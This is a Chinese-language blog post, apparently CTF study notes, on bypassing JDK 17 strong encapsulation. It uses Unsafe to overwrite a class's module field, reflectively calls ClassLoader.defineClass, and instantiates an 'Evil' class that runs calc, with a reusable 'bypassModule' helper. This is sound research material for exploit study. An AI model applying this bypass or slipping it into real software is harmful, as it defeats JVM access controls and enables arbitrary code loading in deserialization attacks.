高版本反射 && jdk17强封装

因为最近的题目都是高版本而反射作为我们gadget中必不可少的一环所以有必要系统学习一下高版本的反射以及区别
JDK17强封装&高版本JDK反射调用-先知社区

图片

所以其实jdk9-16中加上--illegal-access=permit参数即可随意反射
反转来自jdk17

官方文档中提到了JDK17的Strong Encapsulation,一些工具和库使用反射来访问JDK中仅限于内部使用的部分,JDK的强封装主要是针对java.*API的非公共字段和方法,如果利用反射调用就会抛出InaccessibleObjectException。

我们来看demo

public class Evil {  
    static {  
        try{  
            Runtime.getRuntime().exec("calc");  
        }catch(Exception e){  
        }  
    }  
}
import javassist.ClassPool;  
import javassist.CtClass;  
import java.lang.reflect.Method;  
  
public class Demo {  
    public static void main(String[] args) throws Exception {  
        ClassPool pool = ClassPool.getDefault();  
        CtClass evilClass = pool.get("Evil");  
        evilClass.setName("Evil" + System.nanoTime());  
        byte[] bytecodes = evilClass.toBytecode();  
  
        Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);  
        defineClass.setAccessible(true);  
        defineClass.invoke(ClassLoader.getSystemClassLoader(), "attack", bytecodes, 0, bytecodes.length);  
    }  
}

运行后报错
图片

问题出在setAccessible
图片

这里有个判断chechCanSetAccessible
图片

跟进后这里就是强封装

private boolean checkCanSetAccessible(Class<?> caller,  
                                      Class<?> declaringClass,  
                                      boolean throwExceptionIfDenied) {  
    if (caller == MethodHandle.class) {  
        throw new IllegalCallerException();   // should not happen  
    }  
  
    Module callerModule = caller.getModule();  
    Module declaringModule = declaringClass.getModule();  
  
    if (callerModule == declaringModule) return true;  
    if (callerModule == Object.class.getModule()) return true;  
    if (!declaringModule.isNamed()) return true;  
  
    String pn = declaringClass.getPackageName();  
    int modifiers;  
    if (this instanceof Executable) {  
        modifiers = ((Executable) this).getModifiers();  
    } else {  
        modifiers = ((Field) this).getModifiers();  
    }  
  
    // class is public and package is exported to caller  
    boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());  
    if (isClassPublic && declaringModule.isExported(pn, callerModule)) {  
        // member is public  
        if (Modifier.isPublic(modifiers)) {  
            return true;  
        }  
  
        // member is protected-static  
        if (Modifier.isProtected(modifiers)  
            && Modifier.isStatic(modifiers)  
            && isSubclassOf(caller, declaringClass)) {  
            return true;  
        }  
    }  
  
    // package is open to caller  
    if (declaringModule.isOpen(pn, callerModule)) {  
        return true;  
    }  
  
    if (throwExceptionIfDenied) {  
        // not accessible  
        String msg = "Unable to make ";  
        if (this instanceof Field)  
            msg += "field ";  
        msg += this + " accessible: " + declaringModule + " does not \"";  
        if (isClassPublic && Modifier.isPublic(modifiers))  
            msg += "exports";  
        else  
            msg += "opens";  
        msg += " " + pn + "\" to " + callerModule;  
        InaccessibleObjectException e = new InaccessibleObjectException(msg);  
        if (printStackTraceWhenAccessFails()) {  
            e.printStackTrace(System.err);  
        }  
        throw e;  
    }  
    return false;  
}

未命名模块就是没有 module-info.java,走传统 classpath的模块,这是为了兼容java8做的配置

但是传入的throwExceptionIfDenied默认是true

也就是说反射 private 和 protected 被完全堵死了,那么有什么绕过的方法吗?那必然是有的

总结一下返回true的几种方法:

  • 被调用的变量所在模块和调用者所在模块相同

  • 调用者所在模块和object所在模块相同

  • 被调用的模块是未命名模块

  • public公共类并且包被exported给调用者,里面分为几种

  1. 反射的成员是public属性

  2. 反射的成员是protected受保护和static静态,并且调用者类是被调用类的子类

  3. 被调用的类所在模块被open给调用者所在模块

后面跟成员有关的方法是我们无法控制的,但对于前面三种方法还是有操作空间的
所以我们选择通过Unsafe模块进行目标类所在moule进行修改,整体的思路为:获取Object中module属性的内存偏移量,之后再通过unsafe中方法,将Object的module属性set进我们当前操作类的module属性中
这样就满足掉用者所在模块和object所在模块相同
看到objectFieldOffset

public long objectFieldOffset(Field f) {  
    if (f == null) {  
        throw new NullPointerException();  
    }  
  
    return objectFieldOffset0(f);

传入一个反射的 Field 对象(非静态字段),会返回该字段在对象内存布局中的偏移量 (offset)
我们修改demo

import javassist.ClassPool;
import javassist.CtClass;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;

public class Demo {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass evilClass = pool.get("Evil");
        evilClass.setName("Evil" + System.nanoTime());
        byte[] bytecodes = evilClass.toBytecode();

//        Class UnsafeClass = Class.forName("sun.misc.unsafe");
        Field f = Unsafe.class.getDeclaredField("theUnsafe");
        f.setAccessible(true);
        Unsafe unsafe= (Unsafe) f.get(null);

        Module ObjectModule = Object.class.getModule();
        Class currentClass = Demo.class;
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.putObject(currentClass, addr, ObjectModule);

        Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        ((Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), evilClass.getName(), bytecodes, 0, bytecodes.length)).newInstance();;
    }

}

由于unsafe直接调用Unsafe.getUnsafe()会抛出 SecurityException,需要反射调用
图片

可以看见field theunsafe是Unsafe的静态实例调用它就行
图片

图片

看看unk写的

package cn.org.unk;  
  
  
import sun.misc.Unsafe;  
  
import java.lang.reflect.Field;  
  
public class UnsafeTools {  
  
  
    private static Unsafe getUnsafe() throws Exception{  
        Class unsafeClass = Class.forName("sun.misc.Unsafe");  
        Field field = unsafeClass.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get(null);  
        return unsafe;  
    }  
  
    // 哪个类里面有 setAccessible 跨模块操作会报错的, 调用这个就行  
    public static void bypassModule(Class clazz) throws Exception{  
        setFieldValue(clazz,"module",Object.class.getModule());  
    }  
  
    public static void setFieldValue(Object obj,Field field,Object value) throws Exception{  
        Unsafe unsafe = getUnsafe();  
        long offset = unsafe.objectFieldOffset(field);  
        unsafe.putObject(obj, offset, value);  
    }  
  
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{  
        Field declaredField = obj.getClass().getDeclaredField(fieldName);  
        setFieldValue(obj, declaredField,value);  
    }  
}

哪个类里面有 setAccessible 跨模块操作会报错的, 调用这个就行也就是说有重写setAccessible
其他要反射的话就调用setFieldValue即可

posted @ 2026-03-27 10:08  t0mcater  阅读(7)  评论(0)    收藏  举报